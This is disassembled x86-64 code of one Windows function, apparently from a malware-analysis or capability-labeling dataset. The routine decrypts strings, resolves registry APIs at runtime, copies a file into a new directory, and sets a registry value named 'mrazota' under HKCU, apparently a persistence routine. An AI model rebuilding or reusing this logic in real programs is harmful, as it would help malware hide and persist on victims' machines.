Function at 0x140002054
Capabilities:
Create directory
Delete file
Get file size
Link many functions at runtime
Read file on windows
Write file on windows

Disassembly:
sub rsp, 0x218
mov dword [rsp + 0x20], 2
mov r9d, 0x1d
lea r8, [rsp + 0x160]
lea rdx, [0x1400043a8]
lea rcx, [0x140004290]
call fcn.1400010c8
lea rcx, [rsp + 0x160]
call fcn.140002e48
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x14000287d
lea rcx, [rsp + 0xd0]
call fcn.140001f14
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x140002873
mov dword [rsp + 0x20], 2
mov r9d, 0x31
lea r8, [rsp + 0x1a0]
lea rdx, [0x140004320]
lea rcx, [0x140004460]
call fcn.1400010c8
mov r8d, 0x1000
xor edx, edx
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rsp + 0x68], rax
mov r8d, 0x1000
xor edx, edx
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0x68], 0
je 0x140002866
cmp qword [rsp + 0xb0], 0
je 0x140002866
mov dword [rsp + 0x20], 1
mov r9d, 0xd
lea r8, [rsp + 0xf0]
lea rdx, [0x1400044c8]
lea rcx, [0x140004410]
call fcn.1400010c8
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0x20], 1
mov r9d, 0xb
lea r8, [rsp + 0xe0]
lea rdx, str.qPW
lea rcx, [0x140004388]
call fcn.1400010c8
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x20], 1
mov r9d, 0xe
lea r8, [rsp + 0x100]
lea rdx, [0x1400042e0]
lea rcx, [0x1400042d0]
call fcn.1400010c8
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x20], 1
mov r9d, 0xf
lea r8, [rsp + 0x110]
lea rdx, [0x140004398]
lea rcx, [0x140004420]
call fcn.1400010c8
lea rdx, [rsp + 0x110]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0x20], 1
mov r9d, 0x12
lea r8, [rsp + 0x120]
lea rdx, [0x140004430]
lea rcx, [0x140004448]
call fcn.1400010c8
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xb8], 0
je 0x14000284d
cmp qword [rsp + 0x78], 0
je 0x14000284d
cmp qword [rsp + 0xc0], 0
je 0x14000284d
cmp qword [rsp + 0xd8], 0
je 0x14000284d
cmp qword [rsp + 0xc8], 0
je 0x14000284d
mov rcx, qword [rsp + 0x40]
call fcn.140001efc
mov dword [rsp + 0x50], eax
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x40]
call fcn.140001e90
test eax, eax
je 0x140002788
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
je 0x140002783
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140002775
cmp dword [rsp + 0x9c], 0
jne 0x140002775
mov qword [rsp + 0x88], 0
mov eax, dword [rsp + 0x98]
mov ecx, eax
call fcn.1400011a4
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
je 0x140002768
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002768
mov dword [rsp + 0x20], 2
mov r9d, 0x11
lea r8, [rsp + 0x138]
lea rdx, [0x1400042f0]
lea rcx, [0x1400043e8]
call fcn.1400010c8
mov qword [rsp + 0x48], 0
lea rcx, [rsp + 0x138]
call fcn.140002e48
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140002768
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x140002753
mov edx, 2
mov rcx, qword [rsp + 0x48]
call qword [rsp + 0xc8]
test eax, eax
je 0x140002753
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 3
mov edx, 0x40000000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140002746
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140002723
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, [rsp + 0x1a0]
mov rcx, 0xffffffff80000001
call qword [rsp + 0xb8]
test eax, eax
jne 0x140002700
mov rcx, qword [rsp + 0x40]
call fcn.140001b10
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
je 0x1400026d4
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x80]
lea rax, [rcx + rax*2 - 6]
mov r8d, 6
lea rdx, [0x140004270]
mov rcx, rax
call fcn.140001e38
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [0x1400041b0]
mov r8d, 0x17
xor edx, edx
lea rcx, [0x1400041e0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x14000269b
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
call qword [rax + 0xa0]
test eax, eax
jl 0x14000265f
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
lea r8, [rsp + 0xa0]
lea rdx, [0x1400041d0]
mov rcx, qword [rsp + 0x70]
call qword [rax]
test eax, eax
jl 0x14000265f
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax]
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xa0]
call qword [rax + 0x30]
test eax, eax
jl 0x140002633
mov eax, dword [rsp + 0x50]
inc eax
mov eax, eax
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.mrazota
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0xc0]
test eax, eax
je 0x140002633
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x78]
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa0]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002689
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70]
call qword [rax + 0x10]
jmp 0x1400026c5
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x80]
call fcn.1400011c8
jmp 0x1400026fe
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140002721
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140002744
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140002751
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x14000275e
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call fcn.1400011c8
mov rcx, qword [rsp + 0x88]
call fcn.1400011c8
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000284d
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax*2 - 6]
mov r8d, 6
lea rdx, [0x140004270]
mov rcx, rax
call fcn.140001e38
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, [rsp + 0x1a0]
mov rcx, 0xffffffff80000001
call qword [rsp + 0xb8]
test eax, eax
jne 0x140002816
mov eax, dword [rsp + 0x50]
inc eax
mov eax, eax
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.mrazota
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x78]
mov rcx, qword [rsp + 0x40]
call fcn.1400011c8
mov rcx, qword [rsp + 0x90]
call fcn.1400011c8
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x14000287f
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x90]
call fcn.1400011c8
mov rcx, qword [rsp + 0x40]
call fcn.1400011c8
xor eax, eax
add rsp, 0x218
ret